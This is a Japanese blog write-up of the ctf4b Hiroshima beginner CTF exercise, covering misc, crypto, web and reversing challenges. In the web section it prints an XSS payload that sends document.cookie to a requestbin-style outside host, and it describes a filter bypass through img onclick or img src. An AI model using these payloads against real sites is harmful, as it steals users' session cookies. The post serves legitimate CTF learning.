Theories of Pleiades

技術の話とかイベントに行った話とか思ったこととか

ctf4b広島CTF演習Write-up

ここまでのお話

mwc922-hsm.hatenablog.com

上記記事の最後に触れたCTF演習の解法などまとめです。


正直自分が解いた問題そんな難しいのもなかったし書くことないかな…とか思ってたんですが、回答者0人だったBinary300が解けたのと「本当に書きたくなったときのための練習台にはちょうどいいのでは」というので書いてみることにしました。




Misc

Welcome(100)

問題文に書いてあるFlagをコピペして終わりです。



Calc(200)

簡単な暗算を100問やって終わりです。

人力で37問ぐらい解いたところでtypoして泣いてやめました。頭の良い人はスクレイピングでスマートに解いたらしいです。
解いておけばよかった問題ランキング堂々の1位。



handSQL(300)

問題サーバに接続してSQL文を500回実行する問題です。

サーバに接続したときに出てくる問題文をよく読むと「parsable SQL」とか書いてあったはずですが、頭が悪いので「テーブル名からわかんねえ!はい死んだ!」とか喚いてました。


同じ文を実行するとエラーで落ちるので、select * from xxx*とかxxxとかの部分をlinuxのシステムファイル名とかから引っ張ってくると良かったらしいです。

隣の方はExcelで無限にSQL文を錬成して打ち込んだらしいです。頭良い~!



Crypto

Go Fast(100)

2の何万乗のmod何かを出すとかの問題でした。
電卓とかで計算すると2の何万乗が大きすぎて失敗するので、iPythonで適当に動かしてsubmitしました。



Factoring(100)

大きな整数n=p*q(p,qは素数)が与えられ、p+qを求めるという問題でした。
これもネットとかに落ちてるような素因数分解サイトに計算させると素数の桁が大きすぎて失敗するので、Pythonで適当に素因数分解して結果を足し合わせます。

結構時間がかかるので、うまく出るか心配になりながらその間に他の問題を解いてました。



SimpleRSA(200)

p, q, e, cが与えられるので、公開鍵と秘密鍵を計算してcを復号するとかそんな感じの問題だったと思います。

数学知識のなさ故にRSAを半分も理解できなかったぼくは早々に諦めました。数学勉強します。



Find Primes(300)

cryptoわから~~~ん!!!って言いながら放り投げました。

問題文すら読まなかった気がします。ごめんなさい…



Web

make alert!(100)

フォームのみのシンプルなページが渡されるので、フォームに
<script> alert(); </script>
を渡すと出てきたダイアログにフラグが表示されます。



Contact Revenge(200)

演習で用いたものと同じ、タイトルと本文を入力するとそれが表示されるという簡単な投書箱のようなwebページが渡されます。
タイトルと本文にXSSを投げてみると本文はhtmlタグがエスケープされないので、本文にXSSを投げていきます。

演習で扱った攻撃方法を適当に試してみると、

<script>
    document.location =“http://[requestbinのアドレス]?”+ document.cookie;
</script>

で行けました。確か。どうやらcookieにFlagが隠されていたようです。



Contact Re-Revenge(200)

上記の問題と同じwebページが渡されます。
しかしながら、今回は"script"という単語を含む投稿は弾かれてしまいます。

例として、<img>onclick属性の中にはjsが記述できるので、この中にXSSを仕掛けるとFlagが奪取できます。
Flagの在り処はContact Revengeと同じだと風の噂で聞きました。


後から聞いた話ですが、何もjsを使わなくとも攻撃サーバへのリンクを踏ませれば良い話なので、<img src="">を使ってもFlagは得られたらしいです。なるほど。

焦っててonclickが頭に出てきませんでした。完全敗北。通してれば良かった問題ランキング第2位です。



Reversing

Raw(100)

バイナリを落としたらあとはやるだけstringコマンドで中身を覗きます。
バイナリ解析系の問題は一応最初にfilechmod +xして実行→stringsするようにしてます。


strings bin100 | grep ctf4bするとFlagが出てきます。



Review(200)

この問題から実行の流れを追わないと解けないようになっています。

objdump -M intel -S bin200_1 でintel記法のアセンブリに逆アセンブルして流れを追っていきます。
手元に何故かバイナリファイルがなかったのですが、実行の流れとしてはfor文で5回ほどループして簡単な乗算をしています。

アセンブリを読んでいって、最後にraxに入っている値を計算で求め、ファイルを実行し入力するとFlagが吐かれる…とかだったと思います。手元には120という演算結果のメモしか残っていませんでした。



Function(200)

これもまたアセンブリでシュッとやっていきます。
アセンブリを読んでいくと、genFlagとかいう見るからに怪しい関数があり、中に

mov BYTE PTR [rbp-0x40], 0x63
mov BYTE PTR [rbp-0x3f], 0x74
mov BYTE PTR [rbp-0x3e], 0x66

というようにスタックに16進数を放り込んでる行がずらっと40行ぐらい並んでいます。
なんかパッと見ASCIIっぽいのでそのまま雑に変換するとFlagが出ます。



Cipher(300)

ctf4b広島閉幕から4日、やっと解けました(2018/09/05)。

本戦中にもチラッと読んで何かしらhexのxor取ってるよな~これ計算したらASCII出てきそうやな~というのは検討付いてたんですが、普通に時間足りなくなりそうだったのでやめました。


IDAで実行の流れを追ってみると、_check_flagという関数の中で30行ほどスタックにhexを投げ込んだあとなんかループしてるなあという感じになっています。

下はIDAで解析した_check_flagの一部分のみを載せています。この少し前にスタックにhexを投げ込んだりしています。 f:id:mwc922_hsm:20180905185129p:plain


上の画像の上部でstrlenを呼び出していて、ループ本体(分岐ブロック右側)の最後にadd [rbp+var_4C], 1でインクリメントしてるなあ~というのがわかります。

また、画像には映っていないのですが、strlenを呼び出す直前に

mov edi, 0
call _srand

とあり、ediが関数に渡す引数であることから乱数のseed値として0を渡していることがわかります。


ここでループ本体を見てみると、

call _rand
xor eax, r12d

という行があります。ここでeaxには_randの返り値が格納されているため、seedを0とする乱数とr12dとでxor演算を行っていることがわかります。


以上から、まあ大体strlenで取得した文字数(ここではスタックに投げたhexの数)分、出てきた乱数とxor演算してる感じかな~とアタリを付けました。半分は勘です。


手元でさくっと乱数を出してiPythonを使って演算してみたところ1,2文字目にctが出てきたので、「これはctf4bと始まるに違いない」と確信し適当にCでプログラムを書いてフラグを出しに移りました。


ASCIIは2byteなので、生成する乱数も下位2byteだけ抽出してxorを取っています。

一応使ったコードを下に示します。

gist.github.com




おわりに

Cipherめっちゃ手こずった割には解法が単純だったので悔しい気持ちです。マジで悔しい。

Reversingが思った以上に楽しかったのでCTFはこれからReversingメインでやっていきたいなあの気持ちが生えました。
この後はちょっとずつハリネズミ本リベンジしていきたいと思います。楽しみ~